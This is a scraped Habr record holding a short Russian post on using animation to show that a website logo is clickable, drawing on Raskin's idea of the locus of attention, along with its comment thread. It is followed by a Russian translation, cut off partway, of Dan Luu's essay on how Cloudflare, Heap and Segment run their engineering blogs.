<div xmlns="http://www.w3.org/1999/xhtml">Читаю книгу Джефа Раскина «Интерфейс» и хочется обсудить идеи, которые приходят во время чтения. <br/> Первая идея об анимации на сайтах. <br/> <br/> Анимация нужна всем элементам, которые что-то делают. Ссылка меняет цвет при наведении, а фотография, которую можно увеличить по клику, даёт знать о себе иконкой, фоном или текстом, в общем анимацией.<br/> <br/> <img src="https://habrastorage.org/storage2/b83/05f/c66/b8305fc66fc8ffeb06dbc02e62262660.gif" data-src="https://habrastorage.org/storage2/b83/05f/c66/b8305fc66fc8ffeb06dbc02e62262660.gif"/><br/> <i>Анимированный логотип Дропбокса</i><br/> <a name="habracut"></a><br/> <b>Обратная связь</b><br/> Анимация помогает понять, что можно нажать, а что нет. <br/> Лого сайта, всегда ведёт на главную страницу — это все признали, но кто делает анимацию этому жесту? А ведь он один из самых важных. Пользователи постоянно кликают на логотип.<br/> <br/> Научно: Во время того, как пользователь ведёт курсор к логотипу, в его локусе внимания логотип, не курсор. А как пользователю даётся понять: нажми и попади домой? Курсор меняет свою форму из стрелочки в руку. То есть, только сменив локус, мы можем понять, что что-то изменилось. Люди не хотят менять локус, и это в любом случаи стоит энергии, которую человеческий организм пытается расходовать экономно.<br/> <blockquote>При пристальном сосредоточении внимания все события вне локуса могут игнорироваться или просто оставаться незамеченными.</blockquote><br/> Анимация должна быть направлена на логотип. Пусть он немного пошевелится, немного изменит себя и даст понять пользователю: «Кликай, я что-то могу!»<br/> <br/> Полезные ссылки:<br/> <a href="http://ksoftware.livejournal.com/165020.html">Что такое локус внимания?</a><br/> <a href="http://habrahabr.ru/post/96810/">Рекомендации по проектированию пользовательских интерфейсов (по книге Раскина «Интерфейс»). Часть 1</a></div>
Axel Copypast (Frankfurt)
null
null
Читаю книгу Джефа Раскина «Интерфейс» и хочется обсудить идеи, которые приходят во время чтения. <br/> Первая идея об анимации на сайтах. <br/> <br/> Анимация нужна всем элементам, которые что-то делают. Ссылка меняет цвет при наведении, а фотография, которую можно увеличить по клику, даёт знать о себе иконкой, фоном или текстом, в общем анимацией.<br/> <br/> <img src="https://habrastorage.org/storage2/b83/05f/c66/b8305fc66fc8ffeb06dbc02e62262660.gif"/><br/> <i>Анимированный логотип Дропбокса</i><br/>
Читаю книгу Джефа Раскина «Интерфейс» и хочется обсудить идеи, которые приходят во время чтения. Первая идея об анимации на сайтах. Анимация нужна всем элементам, которые что-то делают. Ссылка меняет цвет при наведении, а фотография, которую можно увеличить по клику, даёт знать о себе иконкой, фоном или текстом, в общем анимацией. Анимированный логотип Дропбокса
article
1,375,129,142
{ "commentsCount": 15, "favoritesCount": 54, "readingCount": 23591, "score": 1, "votesCount": 27, "votesCountPlus": 14, "votesCountMinus": 13 }
[]
[ "ui", "usability" ]
[ "design" ]
[ "Анимация", "лого", "css", "сделай удобно", "локус", "раскин" ]
1
null
null
{ "id": [ 6541290, 6541298, 6541336, 6541340, 6541376, 6541490, 6541500, 6541530, 6541536, 6541548, 6541674, 6541740, 6541976, 6542922, 8527959 ], "parent_id": [ null, 6541290, 6541290, 6541298, 6541336, null, null, 6541500, 6541376, 6541536, null, 6541548, null, 6541976, null ], "level": [ 0, 1, 1, 2, 2, 0, 0, 1, 3, 4, 0, 5, 0, 1, 0 ], "time_published": [ 1375131109, 1375131387, 1375132593, 1375132755, 1375133508, 1375135789, 1375136173, 1375136944, 1375137146, 1375137737, 1375148556, 1375155585, 1375163461, 1375175157, 1438879318 ], "score": [ 3, 2, 1, 1, 3, 0, 3, 0, 0, 3, 3, 0, 1, 1, 0 ], "votes": [ 5, 4, 1, 1, 3, 0, 3, 0, 0, 3, 3, 0, 1, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>фотография, которую можно увеличить по клику, даёт знать о себе иконкой, фоном или текстом, в общем анимацией.</blockquote><br/>\r\nВсегда думал, что анимация – движущиеся картинки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, какой-то смысл в этом есть: наведя на картинку, вы видите следующий кадр, из двух-кадровой анимации. А может быть и больше кадров в данной анимации, тут уж как сделают…<br/>\r\n<br/>\r\nНо статья, в общем-то, ни о чём.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я об эффетке, как на сайте <a href=\"http://www.theverge.com\">www.theverge.com</a> при наведении на блоки. Картинкам необязательно двигаться, главное показать, какой из блоков активен. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это понятно, но тогда надо говорить «анимация при наведении», а не так, как сказано. Я сразу представляю фотографию с лупой с плюсом внутри в нижем левом углу, которое является статической превьюшкой.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну и показательно то, что сам логотип не изменяется при наведении на него курсора мыши.<br/>\r\n<br/>\r\nСовсем недавно почему-то подумал о том же, и сделал логотип на сайте, который сейчас делаю, изменяющимся:<br/>\r\n<code>.logo a:hover {opacity:0.5;}</code><br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В тот момент, когда курсор сменился со стрелочки на руку, он находится непосредственно над логотипом, фактически являясь его частью, поэтому локус охватывает и логотип, и курсор.<br/>\r\n<br/>\r\nВ качестве альтернативы анимации можно подчеркивать текстовый логотип аналогично подчеркиванию ссылок.<br/>\r\n<br/>\r\nСтатья, увы, ни о чем. Мысль не развита.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы её и развиваете :-) и другие коментирующие тоже. <br/>\r\n<br/>\r\nНад логотипом курсор может быть невидим. Ведь думаю я в это время о логотипе, а не о курсоре. Про подчёркивание текста в логотипе — правильная идея. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А как пользователи реагируют на полупрозрачный логотип?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они думают, что это призрак логотипа! А когда вы видите призрака, who you gonna call? GhostBusters!<br/>\r\nДумаю, так пользователи и реагируют… А как им ещё реагировать-то?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Главное не забывать об огромном количестве пользователей с планшетами/смартфонами, которые просто физически не могут навести мышкой на элемент. <br/>\r\nСделать так, что бы все пользователи сайта (в том числе те, что без мыши) могли сходу определить, можно ли нажать на элемент и если да, то что в этом случае произойдет — одна из основных задач web-дизайнера.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы заставили меня отправиться на Яндекс.Музыку.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Пусть логотип немного пошевелится, немного изменит себя и даст понять пользователю: «Кликай, я что-то могу!»<br/>\r\n<br/>\r\nНахрена?!<br/>\r\nУ страниц сайта обычно несколько иная цель, нежели отправлять клиентов обратно на главную.<br/>\r\n<br/>\r\nИ по большому счёту, объяснять всё пользователю не нужно — какие-то паттэрны поведения у него должны быть. По крайней мере, IMHO не нужно объяснять способы альтернативной навигации.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Соглашаюсь с тем, что не нужно всё объяснять. <br/>\r\nДумаю, что большинство пользователей даже не увидят анимацию, как так кликать по логотипу вошло в привычку и сам клик выполняется неосознанно. <br/>\r\n<br/>\r\nФормирование привычки — один из главных принципов при разработке интерфейса. Джеф Раскин пишет об этом в своей книге. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю, что «анимация» сама по себе лишь один из методов расстановки акцентов и привлечения внимания. Применять её или нет, зависит от контекста. Часто анимация создаёт только излишний шум и вместо помощи — отвлекает</div>" ], "message_markdown": [ "> фотография, которую можно увеличить по клику, даёт знать о себе иконкой, фоном или текстом, в общем анимацией.\nВсегда думал, что анимация – движущиеся картинки.", "Ну, какой-то смысл в этом есть: наведя на картинку, вы видите следующий кадр, из двух-кадровой анимации. А может быть и больше кадров в данной анимации, тут уж как сделают...\nНо статья, в общем-то, ни о чём.", "Я об эффетке, как на сайте www.theverge.com при наведении на блоки. Картинкам необязательно двигаться, главное показать, какой из блоков активен.", "Это понятно, но тогда надо говорить «анимация при наведении», а не так, как сказано. Я сразу представляю фотографию с лупой с плюсом внутри в нижем левом углу, которое является статической превьюшкой.", "Ну и показательно то, что сам логотип не изменяется при наведении на него курсора мыши.\nСовсем недавно почему-то подумал о том же, и сделал логотип на сайте, который сейчас делаю, изменяющимся:\n`.logo a:hover {opacity:0.5;}`", "UFO just landed and posted this here", "В тот момент, когда курсор сменился со стрелочки на руку, он находится непосредственно над логотипом, фактически являясь его частью, поэтому локус охватывает и логотип, и курсор.\nВ качестве альтернативы анимации можно подчеркивать текстовый логотип аналогично подчеркиванию ссылок.\nСтатья, увы, ни о чем. Мысль не развита.", "Вы её и развиваете :-) и другие коментирующие тоже.\nНад логотипом курсор может быть невидим. Ведь думаю я в это время о логотипе, а не о курсоре. Про подчёркивание текста в логотипе — правильная идея.", "А как пользователи реагируют на полупрозрачный логотип?", "Они думают, что это призрак логотипа! А когда вы видите призрака, who you gonna call? GhostBusters!\nДумаю, так пользователи и реагируют... А как им ещё реагировать-то?", "Главное не забывать об огромном количестве пользователей с планшетами/смартфонами, которые просто физически не могут навести мышкой на элемент.\nСделать так, что бы все пользователи сайта (в том числе те, что без мыши) могли сходу определить, можно ли нажать на элемент и если да, то что в этом случае произойдет — одна из основных задач web-дизайнера.", "Вы заставили меня отправиться на Яндекс.Музыку.", "> Пусть логотип немного пошевелится, немного изменит себя и даст понять пользователю: «Кликай, я что-то могу!»\nНахрена?!\nУ страниц сайта обычно несколько иная цель, нежели отправлять клиентов обратно на главную.\nИ по большому счёту, объяснять всё пользователю не нужно — какие-то паттэрны поведения у него должны быть. По крайней мере, IMHO не нужно объяснять способы альтернативной навигации.", "Соглашаюсь с тем, что не нужно всё объяснять.\nДумаю, что большинство пользователей даже не увидят анимацию, как так кликать по логотипу вошло в привычку и сам клик выполняется неосознанно.\nФормирование привычки — один из главных принципов при разработке интерфейса. Джеф Раскин пишет об этом в своей книге.", "Думаю, что «анимация» сама по себе лишь один из методов расстановки акцентов и привлечения внимания. Применять её или нет, зависит от контекста. Часто анимация создаёт только излишний шум и вместо помощи — отвлекает" ], "author": [ "Алексей Свиридкин (lexfrei)", "Константин Давыденко (Shultc)", "Axel Copypast (Frankfurt)", "Алексей Свиридкин (lexfrei)", "Волька (ibnteo)", "{}", "Andrew Marcus (marcus)", "Axel Copypast (Frankfurt)", "Axel Copypast (Frankfurt)", "Константин Давыденко (Shultc)", "Уманский Леонид (splatt)", "Александр Пермяков (Eefrit)", "Геннадий Забуслаев (Busla)", "Axel Copypast (Frankfurt)", "✑ (OlegLevashov)" ], "children": [ [ 6541298, 6541336 ], [ 6541340 ], [ 6541376 ], [], [ 6541536 ], [], [ 6541530 ], [], [ 6541548 ], [ 6541740 ], [], [], [ 6542922 ], [], [] ] }
562,610
ru
https://habr.com/ru/post/562610/
Dan Luu: Как пишутся (некоторые) хорошие корпоративные инженерные блоги
Я сравнивал свои заметки с людьми, которые ведут корпоративные инженерные блоги, и мне кажется любопытным то, что мой личный блог довольно часто получает больше трафика, чем весь корпоративный блог компании, которая оценивающейся в девяти/десятизначную сумму и мой блог нередко получает на порядок больше трафика. Я думаю, что это странно, потому что в технологических компаниях этого класса часто работают сотни и даже тысячи сотрудников. В подавляющем большинстве случаев они будут лучше подготовлены для написания привлекательного блога, чем я, и компании получают гораздо большую ценность от наличия привлекательного блога, чем я. Что касается первого, сотрудники компании будут выполнять более интересную инженерную работу, рассказывать больше забавных историй и обладать более глубокими знаниями, чем любой человек, ведущий личный блог. Во втором случае мой блог помогает мне в поиске работы и помогает компаниям нанимать меня. Но мне нужна только одна работа, так что большее влияние блога в том, что в лучшем случае он дает мне немного лучшую работу, тогда как все, кроме одной технологической компании, в которой я работал, отчаянно пытаются нанять кого-то и все время теряют кандидатов в пользу других компаний. Более того, я на самом деле не конкурирую с другими кандидатами на собеседовании (даже если мы собеседуемся на одну и ту же работу, если компании нравится больше, чем один кандидат, она обычно просто создает больше рабочих мест). Важнейший момент в этом блоге в отношении поиска работы заключается в том, сможет ли процесс отбора принять значительную обратную связь, не связанную с собеседованием, или если я провалю собеседование, потому что они проводят обычное собеседование, и предельная ценность дополнительной публикации в блоге, вероятно очень низка по отношению к этому. С другой стороны, при найме на работу компании конкурируют относительно напрямую, так что быть более привлекательными по сравнению с другой компанией крайне важно для них. Повторение Playbook, который Cloudflare или Segment использовали для своих инженерных «брэндов», будет значительным преимуществом при найме на работу. Playbook не является секретом: эти компании транслируют свою продукцию по всему миру и, как правило, с удовольствием рассказывают о своих процессах ведения блога. Несмотря на кажущиеся очевидными преимущества «хорошего» корпоративного блога на английском языке, большинство корпоративных блогов полны материалов, которые инженеры не хотят читать. Расплывчатая, высокоуровневая болтовня о том, как все прекрасно, контент-маркетинг, натянутые посты о новеньких горячих штучках (сегодня это могло быть использование глубокого обучения для неподходящих приложений; десять лет назад это могло быть использование «big data» для неподходящего приложения) и т. д. Чтобы попытаться понять, что общего у компаний с хорошим корпоративным инженерным блогом, я опросил людей из трех разных компаний, у которых интересные корпоративные инженерные блоги (Cloudflare, Heap и Segment), а также людей из трех разных компаний, у которых посредственные корпоративные инженерные блоги (которые я не буду называть). На высоком уровне в интересных инженерных блогах происходили процессы, которые обладали следующими свойствами: Простой процесс одобрения, не требуется много одобрений Не требуется никаких одобрений, не относящихся к инженерным, или совсем не требуется Неявный или явно быстрый SLO для одобрений Процесс одобрения/редактирования в основном делает пост более привлекательными для инженеров Прямая поддержка высокого уровня (сооснователь, C-level или VP-level) для облегчения процесса ведения блога В менее привлекательных технических блогах происходили процессы, которые обладали следующими свойствами: Медленный процесс одобрения Требуется много одобрений Необходимы значительные нетехнические одобрения: Неинженерные одобрения предполагают, что изменения, по мнению авторов, разочаровывают Туда-сюда может продолжаться месяцами Процесс одобрения/редактирования в основном снижает риски для публикаций, удаляет ссылки на конкретную информацию, делает посты более расплывчатыми и менее интересными для инженеров. Фактически нет поддержки высокого уровня для ведения блога Руководство может согласиться с тем, что ведение блога — это хорошо в абстрактном смысле, но это недостаточно высокий приоритет, чтобы предпринимать конкретные действия. Очень сложно реформировать процесс ведения блога; предыдущие попытки потерпели неудачу Изменение процесса для сокращения накладных расходов требует, чтобы все «заинтересованные стороны» подписались (14 в одном случае) Любая отдельная заинтересованная сторона может заблокировать пост Ни одна заинтересованная сторона не может одобрить пост Заинтересованные стороны опасаются одобрять все, что снижает накладные расходы. Одобрение включает принятие на себя предполагаемого риска (что, если случится что-то плохое) без видимой выгоды для них Один человек в компании, ведущей интересный блог, заметил, что недостатком наличия только одного одобряющего и/или одного основного одобряющего является то, что если этот человек занят, на одобрения могут уйти недели. Это справедливо, это обратная сторона централизованного одобрения. Однако, когда мы сравниваем с альтернативными процессами, в одной компании люди отметили, что типичный процесс одобрения занимает от трех до шести месяцев, а последующие случаи — год. В то время как несколько недель могут показаться долгим сроком для тех, кто привык к быстро развивающейся компании, люди в более медленно развивающихся компаниях были бы в восторге от процесса утверждения, который занимает в два раза больше времени. Вот описанные мне процессы для трех компаний, с которыми я беседовал (представленные в порядке sha512sum, который случайно упорядочен путем увеличения размера компании с пары сотен сотрудников до почти тысячи сотрудников): ### Heap У кого-то есть идея написать пост Писатель (инженер) находится в паре с приятелем, который редактирует, а затем одобряет пост Приятель — инженер, имеющий опыт написания разумных текстов Это может занять несколько раундов, может измениться направленность поста Технический директор читает и одобряет Обычно давая только незначительную обратную связь Может вносить предложения вроде «дизайнер может улучшить этот график». Публикация поста Первый этап редактирования включал в себя публикацию черновика на канале в Slack, где «все» комментировали пост. Это был неприятный опыт, так как «все» писали бы комментарии, и потребовалась бы большая доработка. Этот процесс был разработан, чтобы избежать «слишком большой» обратной связи. ### Segment У кого-то есть идея написать пост Часто исходит из: внутренней документации, внешнего обсуждения, одобренного проекта, инструментов с открытым исходным кодом (созданных Segment). Автор (инженер) пишет черновик Может быть, с ними будет работать старший инженер, чтобы написать черновик До недавнего времени процесс обратной связи никому не принадлежал Кальвин Френч-Оуэн (сооснователь) и Рик (технический менеджер) обычно дают больше всего обратной связи< Возможно также получить обратную связь от менеджера и руководства Обычно 3-й черновик считается завершенным Теперь у вас есть штатный редактор, которому принадлежит ответственность за редактирование постов Также обсуждение с инженерной командой, чтобы получить обратную связь от 15-20 человек. PR и юристы просто посмотрят, простой процесс одобрения Некоторые внесенные изменения включают В какой-то момент, когда осуществлялись попытки создать «инженерный бренд», подробные технические посты получили высокий приоритет был «ретрит по ведению блога», уходила одна неделя на написание поста добавленные письменная и устная речь в качестве явных критериев, которые будут вознаграждены при рассмотрении производительности и способствовать продвижению по карьерной лестнице Хотя есть официальное одобрение и одобрение со стороны PR, Кэлвин отметил: «В целом мы стараемся сделать процесс одобрения достаточно легким. Я считаю, что более серьезной проблемой ведения блогов является отсутствие постов или расплывчатый высокоуровневый контент, который не интересен, и не раскрывает слишком много». ### Cloudflare У кого-то есть идея написать пост Внутреннее ведение блога является частью культуры, некоторые посты публикуются из внутреннего блога Джон Грэм-Камминг (технический директор) читает каждый пост, другие будут читать и комментировать Джон одобряет посты Мэтью Принс (генеральный директор) также в целом поддерживает ведение блога. «Очень быстрый» юридический процесс одобрения, SLO в течение часа Этот процесс настолько легок, что один человек на самом деле не думал об этом как об одобрении, а другой вообще не упоминал это (третий действительно упомянул этот шаг) Комментарии вообще не задействованы Следует отметить, что это относится только к техническим постам в блогах. Анонс продуктов — более сложный процесс, потому что они привязаны к коммерческим материалам, пресс-релизам и т. д. Мне показалось интересным то, что Марек собеседовался Cloudflare из-за их блога (его внимание привлекла эта запись в блоге 2013 года на их серверах 4-го поколения), и теперь он является для них ключевым инженером, а также одним из основных источников привлекательных постов блога Cloudflare. На данный момент блог Cloudflare породил по крайней мере еще несколько поколений людей, которые проходили собеседования, потому что они видели пост в блоге и теперь пишут убедительные посты для блога. ### Общие комментарии Я считаю, что естественное состояние корпоративного блога, когда люди могут получить небольшую обратную связь, — это довольно интересный блог. Существует нехватка настоящих, глубоких, технических текстов, что делает интересным любой наполовину достойный, честный, публичный текст о технической работе. Чтобы блог был скучным, корпорация должна активно мешать инженерам размещать там интересный контент. К сожалению, похоже, что естественное состояние крупных корпораций склонно к избеганию риска и запрету людям писать на всякий случай, если это вызывает юридические, PR или другие проблемы. Individual Cotributors могут придерживаться мнения, что нелепо запрещать инженерам писать технические посты с низким уровнем риска, в то время как руководители высшего звена и вице-президенты регулярно делают публичные комментарии, которые превращаются в PR-катастрофу, но IC в крупных компаниях не имеют полномочий или не чувствуют, что у них есть полномочия что-то делать только потому, что это имеет смысл. И ни одна из четырнадцати заинтересованных сторон, которой пришлось бы подписаться на одобрение оптимизированного процесса, не позаботилась бы об оптимизации процесса, поскольку это было бы хорошо для компании таким образом, чтобы на самом деле не смогло бы не повлиять на них, не тогда, когда это, казалось бы, означало принятие на себя ответственности за риск связанный с оптимизированным процессом, пусть даже с небольшим. Руководитель или старший вице-президент, готовый пойти на риск, могут взять на себя ответственность за последствия, и, если они заинтересованы в найме инженеров или в моральном духе, они могут увидеть причину для этого. Один комментарий, который я часто слышал от людей из более бюрократических компаний, — это что-то вроде «каждая компания нашего размера такая же», но это неправда. Cloudflare, компания с оборотом в 6 миллиардов долларов, в которой работает 1 тысяча сотрудников, находится в том же классе, что и многие другие компании с гораздо более обременительным процессом ведения блогов. Ситуация в корпоративном блоге кажется похожей на ситуацию с реальным откликом на собеседование. interviewing.io утверждает, что в этом есть существенные положительные и очень незначительные отрицательные стороны. Некоторые компании действительно дают реальную обратную связь, а те, которые, как правило, считают, что это дает им легкое преимущество при найме с небольшими недостатками, но подавляющее большинство компаний этого не делают, и люди в этих компаниях будут утверждать, что дать обратную связь невозможно, так как на вас подадут в суд, или компания будет «аннулирована», хотя обычно этого не происходит с компаниями, которые дают обратную связь, и есть даже целые отрасли, в которых принято давать обратную связь на собеседовании. Легко понять, что определенный риск существует, и очень немногие люди имеют право отвергать расплывчатые сообщения о риске, когда он исходит от нескольких организаций. Несмотря на то, что это небольшой пример, и опасно делать слишком много обобщений из небольших примеров, идея о том, что вам нужна поддержка высокого уровня, чтобы прорваться через бюрократию, согласуется с тем, что я видел в других областях, где большинству крупных компаний приходится нелегко в процессе создания чего-то легкого, имеющее очевидную, но расплывчатую ценность. Хотя этот пост посвящен ведению блога, я слышал похожие истории по самым разным темам. ### Приложение: примеры классных публикаций в блогах Вот несколько постов из упомянутых блогов с коротким комментарием о том, почему я считаю этот пост достойным. На этот раз в обратном порядке хеширования sha512. ### Cloudflare blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today Разговоры о реальной технической проблеме, которая затронула множество людей, достаточно подробно Своевременный, выпущенный всего через восемь часов после сбоя в работе, когда людям все еще было интересно услышать о том, что произошло; большинство компаний не могут так быстро развернуть убедительный пост в блоге или могут сделать это только в особых случаях, Cloudflare может публиковать своевременные сообщения почти регулярно. blog.cloudflare.com/the-relative-cost-of-bandwidth-around-the-world Исследование некоторых данных blog.cloudflare.com/the-story-of-one-latency-spike История про отладку blog.cloudflare.com/when-bloom-filters-dont-bloom История про отладку, на этот раз в контексте разработки структуры данных ### Segment segment.com/blog/when-aws-autoscale-doesn-t Конкретное объяснение проблемы в широко используемом сервисе segment.com/blog/gotchas-from-two-years-of-node Конкретный пример и объяснение ошибки в широко используемом инструменте segment.com/blog/automating-our-infrastructure Публикация с конкретными подробностями о том, как работает компания; теоретически это могла бы написать любая компания, но мало кто это делает ### Heap heap.io/blog/engineering/basic-performance-analysis-saved-us-millions Разговор о реальной проблеме и решении heap.io/blog/engineering/clocksource-aws-ec2-vdso Разговор о реальной проблеме и решении В комментариях HN у инженеров (malisper, kalmar) есть технические ответы с реальными причинами, а не просто обычное лицемерие, которое вы видите в большинстве случаев. heap.io/blog/analysis/migrating-to-typescript Реальный разговор о том, как первая попытка провести технические изменения в масштабах компании провалилась Следует отметить, что все эти блоги имеют разные стили. Лично я предпочитаю стиль блога Cloudflare, в котором более высокая доля «глубоких» технических сообщений, но разные люди предпочтут разные стили. Есть много стилей, которые могут cработать.
<div xmlns="http://www.w3.org/1999/xhtml"><div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/8ae/3ea/d84/8ae3ead849207032905685afb14ebcfd.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/8ae/3ea/d84/8ae3ead849207032905685afb14ebcfd.jpg" data-blurred="true"/></div><br/> <br/> Я сравнивал свои заметки с людьми, которые ведут корпоративные инженерные блоги, и мне кажется любопытным то, что <a href="https://danluu.com/">мой личный блог</a> довольно часто получает больше трафика, чем весь корпоративный блог компании, которая оценивающейся в девяти/десятизначную сумму и мой блог нередко получает <i>на порядок</i> больше трафика.<br/> <br/> Я думаю, что это странно, потому что в технологических компаниях этого класса часто работают сотни и даже тысячи сотрудников. В подавляющем большинстве случаев они будут лучше подготовлены для написания привлекательного блога, чем я, и компании получают гораздо большую ценность от наличия привлекательного блога, чем я.<br/> <br/> Что касается первого, сотрудники компании будут выполнять более интересную инженерную работу, рассказывать больше забавных историй и обладать более глубокими знаниями, чем любой человек, ведущий личный блог.<a name="habracut"></a> Во втором случае мой блог помогает мне в поиске работы и помогает компаниям нанимать меня. Но мне нужна только одна работа, так что большее влияние блога в том, что в лучшем случае он дает мне немного лучшую работу, тогда как все, кроме одной технологической компании, в которой я работал, отчаянно пытаются нанять кого-то и все время теряют кандидатов в пользу других компаний. Более того, я на самом деле не конкурирую с другими кандидатами на собеседовании (даже если мы собеседуемся на одну и ту же работу, если компании нравится больше, чем один кандидат, она обычно просто создает больше рабочих мест). Важнейший момент в этом блоге в отношении поиска работы заключается в том, сможет ли процесс отбора принять значительную обратную связь, не связанную с собеседованием, или <a href="https://danluu.com/algorithms-interviews/">если я провалю собеседование, потому что они проводят обычное собеседование,</a> и предельная ценность дополнительной публикации в блоге, вероятно очень низка по отношению к этому. С другой стороны, при найме на работу компании конкурируют относительно напрямую, так что быть более привлекательными по сравнению с другой компанией крайне важно для них. Повторение Playbook, который Cloudflare или Segment использовали для своих инженерных «брэндов», будет значительным преимуществом при найме на работу. Playbook не является секретом: эти компании транслируют свою продукцию по всему миру и, как правило, с удовольствием рассказывают о своих процессах ведения блога. <br/> <br/> Несмотря на кажущиеся очевидными преимущества «хорошего» корпоративного блога на английском языке, большинство корпоративных блогов полны материалов, которые инженеры не хотят читать. Расплывчатая, высокоуровневая болтовня о том, как все прекрасно, контент-маркетинг, натянутые посты о новеньких горячих штучках (сегодня это могло быть использование глубокого обучения для неподходящих приложений; десять лет назад это могло быть использование «big data» для неподходящего приложения) и т. д.<br/> <br/> Чтобы попытаться понять, что общего у компаний с хорошим корпоративным инженерным блогом, я опросил людей из трех разных компаний, у которых интересные корпоративные инженерные блоги (Cloudflare, Heap и Segment), а также людей из трех разных компаний, у которых посредственные корпоративные инженерные блоги (которые я не буду называть).<br/> <br/> На высоком уровне в интересных инженерных блогах происходили процессы, которые обладали следующими свойствами:<br/> <br/> <ul> <li>Простой процесс одобрения, не требуется много одобрений</li> <li>Не требуется никаких одобрений, не относящихся к инженерным, или совсем не требуется</li> <li>Неявный или явно быстрый <a href="https://en.wikipedia.org/wiki/Service-level_objective">SLO</a> для одобрений</li> <li>Процесс одобрения/редактирования в основном делает пост более привлекательными для инженеров</li> <li>Прямая поддержка высокого уровня (сооснователь, C-level или VP-level) для облегчения процесса ведения блога </li> </ul><br/> В менее привлекательных технических блогах происходили процессы, которые обладали следующими свойствами: <br/> <br/> <ul> <li>Медленный процесс одобрения</li> <li>Требуется много одобрений</li> <li>Необходимы значительные нетехнические одобрения: <br/> <ul> <li>Неинженерные одобрения предполагают, что изменения, по мнению авторов, разочаровывают</li> <li> Туда-сюда может продолжаться месяцами</li> </ul></li> <li>Процесс одобрения/редактирования в основном снижает риски для публикаций, удаляет ссылки на конкретную информацию, делает посты более расплывчатыми и менее интересными для инженеров.</li> <li>Фактически нет поддержки высокого уровня для ведения блога<br/> <br/> <ul> <li>Руководство может согласиться с тем, что ведение блога — это хорошо в абстрактном смысле, но это недостаточно высокий приоритет, чтобы предпринимать конкретные действия.</li> <li> Очень сложно реформировать процесс ведения блога; предыдущие попытки потерпели неудачу</li> <li> Изменение процесса для сокращения накладных расходов требует, чтобы все «заинтересованные стороны» подписались (14 в одном случае)<br/> <ul> <li>Любая отдельная заинтересованная сторона может заблокировать пост</li> <li> Ни одна заинтересованная сторона не может одобрить пост</li> </ul></li> <li> Заинтересованные стороны опасаются одобрять все, что снижает накладные расходы. <ul> <li>Одобрение включает принятие на себя предполагаемого риска (что, если случится что-то плохое) без видимой выгоды для них</li> </ul></li> </ul></li> </ul><br/> Один человек в компании, ведущей интересный блог, заметил, что недостатком наличия только одного одобряющего и/или одного основного одобряющего является то, что если этот человек занят, на одобрения могут уйти недели. Это справедливо, это обратная сторона централизованного одобрения. Однако, когда мы сравниваем с альтернативными процессами, в одной компании люди отметили, что типичный процесс одобрения занимает от трех до шести месяцев, а последующие случаи — год.<br/> <br/> В то время как несколько недель могут показаться долгим сроком для тех, кто привык к быстро развивающейся компании, люди в более медленно развивающихся компаниях были бы в восторге от процесса утверждения, который занимает в два раза больше времени.<br/> <br/> Вот описанные мне процессы для трех компаний, с которыми я беседовал (представленные в порядке sha512sum, который случайно упорядочен путем увеличения размера компании с пары сотен сотрудников до почти тысячи сотрудников): <br/> <br/> <h3>Heap</h3><br/> <ul> <li>У кого-то есть идея написать пост</li> <li>Писатель (инженер) находится в паре с приятелем, который редактирует, а затем одобряет пост<br/> <ul> <li>Приятель — инженер, имеющий опыт написания разумных текстов</li> <li> Это может занять несколько раундов, может измениться направленность поста</li> </ul></li> <li>Технический директор читает и одобряет<br/> <ul> <li>Обычно давая только незначительную обратную связь</li> <li> Может вносить предложения вроде «дизайнер может улучшить этот график».</li> </ul></li> <li>Публикация поста</li> </ul><br/> Первый этап редактирования включал в себя публикацию черновика на канале в Slack, где «все» комментировали пост. Это был неприятный опыт, так как «все» писали бы комментарии, и потребовалась бы большая доработка. Этот процесс был разработан, чтобы избежать «слишком большой» обратной связи. <br/> <br/> <h3>Segment</h3><br/> <ul> <li>У кого-то есть идея написать пост<br/> <ul> <li>Часто исходит из: внутренней документации, внешнего обсуждения, одобренного проекта, инструментов с открытым исходным кодом (созданных Segment).</li> </ul></li> <li>Автор (инженер) пишет черновик <br/> <ul> <li>Может быть, с ними будет работать старший инженер, чтобы написать черновик</li> </ul></li> <li>До недавнего времени процесс обратной связи никому не принадлежал<br/> <ul> <li>Кальвин Френч-Оуэн (сооснователь) и Рик (технический менеджер) обычно дают больше всего обратной связи&lt;</li> <li>Возможно также получить обратную связь от менеджера и руководства</li> <li>Обычно 3-й черновик считается завершенным</li> <li>Теперь у вас есть штатный редактор, которому принадлежит ответственность за редактирование постов</li> </ul></li> <li>Также обсуждение с инженерной командой, чтобы получить обратную связь от 15-20 человек.</li> <li>PR и юристы просто посмотрят, простой процесс одобрения</li> </ul><br/> Некоторые внесенные изменения включают<br/> <br/> <ul> <li>В какой-то момент, когда осуществлялись попытки создать «инженерный бренд», подробные технические посты получили высокий приоритет</li> <li>был «ретрит по ведению блога», уходила одна неделя на написание поста</li> <li>добавленные письменная и устная речь в качестве явных критериев, которые будут вознаграждены при рассмотрении производительности и способствовать продвижению по карьерной лестнице</li> </ul><br/> Хотя есть официальное одобрение и одобрение со стороны PR, Кэлвин отметил: «В целом мы стараемся сделать процесс одобрения достаточно легким. Я считаю, что более серьезной проблемой ведения блогов является отсутствие постов или расплывчатый высокоуровневый контент, который не интересен, и не раскрывает слишком много». <br/> <br/> <h3>Cloudflare</h3><br/> <ul> <li>У кого-то есть идея написать пост<br/> <ul> <li>Внутреннее ведение блога является частью культуры, 